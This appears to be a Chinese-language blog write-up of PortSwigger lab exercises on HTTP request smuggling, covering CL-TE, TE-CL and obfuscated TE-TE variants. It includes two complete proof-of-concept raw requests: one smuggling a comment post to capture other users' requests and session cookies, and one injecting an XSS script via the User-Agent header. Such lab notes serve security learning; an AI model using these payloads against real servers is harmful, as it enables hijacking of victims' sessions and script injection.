http请求走私漏洞

访问Burp靶场速度感人..都要哭了(如果没有账户的先创建账户)

基础补充

pipeline

http1.1有了Pipeline,就不需要等待Server端的响应了。浏览器默认不启用pipeline但服务器相反

keepalive

通过Connection: keep-alive 这个头部来实现,服务端和客户端都可以使用它告诉对方在发送完数据之后不需要断开 TCP 连接。

CL

就是Content-Length, 这个content-length有多长,读过这个数就停止了

TE

就是Transfer-Encoding, TE遇0结束跟个\r\n。只定义了一种格式:chunked(分块编码)

Burp的特性

传值是隔一行才算进去



这里我开启了bp的默认更新CL

改请求格式就不讲了

绕过Waf就不讲了..

五种http走私

截图来自于spidersec,twitter上自己去搜

  • CL!=0: 就是CL不等于0呗
  • CL-CL: 前端和后端都是用CL认证
  • CL-TE: 前端用CL认证,后端用TE认证
  • TE-CL: 前端用TE认证,后端用CL认证
  • TE-TE: 前端和后端都是用TE认证

CL-TE

后端TE认证,会屏蔽掉CL

靶场环境:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉

解释下为什么CL设置成6,一个Enter是2字节,2*2=4,4+1(0)+A(0)



第一次读取正常,接着Go一次

TE-CL

后端遵守CL

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉



因为是CL认证,5是muxue的字节,我设置cl是3(5+enter=3)

第一遍正常请求,发送第二遍



OK...

就是因为后端采用了CL认证,后面的数据会被放进缓冲区,然后再请求一遍去加载

TE-TE

同样采用TE认证

但是可以混淆绕过,弄两个transfer-encoding哈哈

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header



第二个TE头是来混淆的,我们再次发送请求看看会不会成功



如果单一的transfer-encoding:chunked我们来试试

怎么请求都是200

smuggling造成的用户劫持

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests



有一个正常的可以输出自定义内容的页面,This is very important

然后我们来利用走私漏洞达到劫持,普通请求一个get页面看看

Poc
POST / HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 712
Transfer-encoding: chunked 0 POST /post/comment HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://accb1f821e43d7f880b21132005e0079.web-security-academy.net/post?postId=5
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1190 csrf=bvhD9jnQtfj05BLQDksbPhzXpG3RjLNq&postId=5&name=cnm&email=cnm%40gmai.com&website=https%3A%2F%2Ftest.com&comment=cnm-hacker

这个我用edge整了很长时间,没有成功,用firefox就成功了。不知道是什么原因...

没用的可以删掉

为什么cl要这么大:因为要留出来一部分给受害者请求

为什么comment要放最后面:我看人家都把显示位拼接在后面,我照葫芦画瓢要是有人知道,请教一哈

content-length一定要大



出现这个,基本上就成了

smuggling配合xss

https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

官方提示了,UA头那里



配合http request smuggling

这个洞我又回到了edge.. 真不知道哪里出错了

POC
POST / HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Transfer-encoding: chunked 0 GET /post?postId=1 HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: "><script>alert(/xss/)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw

正常发送一次,数据会被带到缓冲区,然后受害者请求网站,达到半存储型xss



这种感觉只要持续发送这个包,就可以达到存储型XSS吧

案例

等以后挖到 慢慢更新

2020 12.22 19:38 更新

最近因忙于备战高考... 也没搞安全,反正带专见呗 冲不动了

然后今晚也挖到了个

细节我确实也写了 但是不在博客园 各位有缘就能看见(滑稽)

Article:https://portswigger.net/web-security/request-smuggling

Http Request Smuggling - Note的更多相关文章

  1. [Java Web]Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors

    手机客户端向服务器提交Http请求时,Tomcat抛出错误: 十二月 31, 2014 2:32:45 下午 org.apache.coyote.http11.AbstractHttp11Proces ...

  2. 信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    四月 , :: 下午 org.apache.coyote.http11.AbstractHttp11Processor process 信息: Error parsing HTTP request h ...

  3. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  4. 利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境

    Haproxy 介绍 HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性.负载均衡,以及基于TCP和HTTP的应用程序代理. 请求走私(Request smuggling)概念证 ...

  5. Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling 目录 HTTP request smuggling HTTP request smuggling, basic CL.TE vulnerability H ...

  6. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  7. Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors...java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are

    先将异常信息贴出: 该问题是tomcat进行http request解析的时候报的错,网上的解决办法主要是修改Tomcat的server.xml,在<Connector port="8 ...

  8. Tomcat:Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level.

    可能原因一: 在本地tomcat启动正常并且访问正常的项目放在服务器上tomcat报以上错误. 本地tomcat为7.0.68,服务器上为7.0.86 错误原因:服务器tomcat版本过高. 解决办法 ...

  9. Get提交数据过大,tomcat报错,信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    原因 get提交的数据过大,超过了默认值. 解决办法 get提交配置 设置tomcat的server.xml.找到我们启动的端口,一般是8080,增加maxHttpHeaderSize= " ...

随机推荐

  1. 20、nginx之ngx_http_upstream_module模块

    nginx的ngx_http_upstream_module模块是用于nginx反向代理的,默认在安装nginx时已经被安装,ngx_http_upstream_module模块 的内容应放于 ngi ...

  2. iOS工程师如何恍然大悟?

    聊聊行情?为什么总有人在乎旁人的看法而忽略自己的初衷? 虽然iOS开发市场说不上好但也绝不算坏,想没想过那些煽风点火说iOS不行的人在做什么? 真的转行从头开始? 错.大错特错! 在劝退你的同时他们会 ...

  3. 免费版:Xshell和Xftp下载路径

    家庭版Xshell和Xftp下载地址: 下载地址:https://www.netsarang.com/zh/free-for-home-school/

  4. [心得笔记]spring常用的三种依赖注入方式

    一.目前使用最广泛的 @Autowired:自动装配 基于@Autowired的自动装配,默认是根据类型注入,可以用于构造器.接口.方法注入,使用方式如下: @Autowired 构造方法.方法.接口 ...

  5. 你会用哪些JavaScript循环遍历

    总结JavaScript中的循环遍历定义一个数组和对象 const arr = ['a', 'b', 'c', 'd', 'e', 'f']; const obj = { a: 1, b: 2, c: ...

  6. 一文搞懂一致性hash的原理和实现

    在 go-zero 的分布式缓存系统分享里,Kevin 重点讲到过一致性hash的原理和分布式缓存中的实践.本文来详细讲讲一致性hash的原理和在 go-zero 中的实现. 以存储为例,在整个微服务 ...

  7. [.NET大牛之路 003] .NET 的发展简史

    如果你热爱某产品,你一定想了解它的历史.今天我们简单回顾一下 .NET 平台的发展历史,来看看它在历史上的里程碑,这对我们更好地了解和学习 .NET 有着重要的意义. 微软 .NET 战略初衷 20 ...

  8. clickhouse分布式集群

    一.环境准备: 主机 系统 应用 ip ckh-01 centos 8 jdk,zookeeper,clickhouse 192.168.205.190 ckh-02 centos 8 jdk,zoo ...

  9. Linux上生产环境源码方式安装配置postgresql12

    1.Linux上源码方式安装postgresql12 01.准备操作系统环境 echo "192.168.1.61 tsepg61" >> /etc/hosts mou ...

  10. [刘阳Java]_MyBatis_实体关系映射_第8讲

    MyBatis既然是一个ORM框架,则它也有像Hibernate那样的一对多,多对多,多对一的实体关系映射功能.下面我们就来介绍一下如何使用MyBatis的实体关系映射 1.MyBatis实体关系映射 ...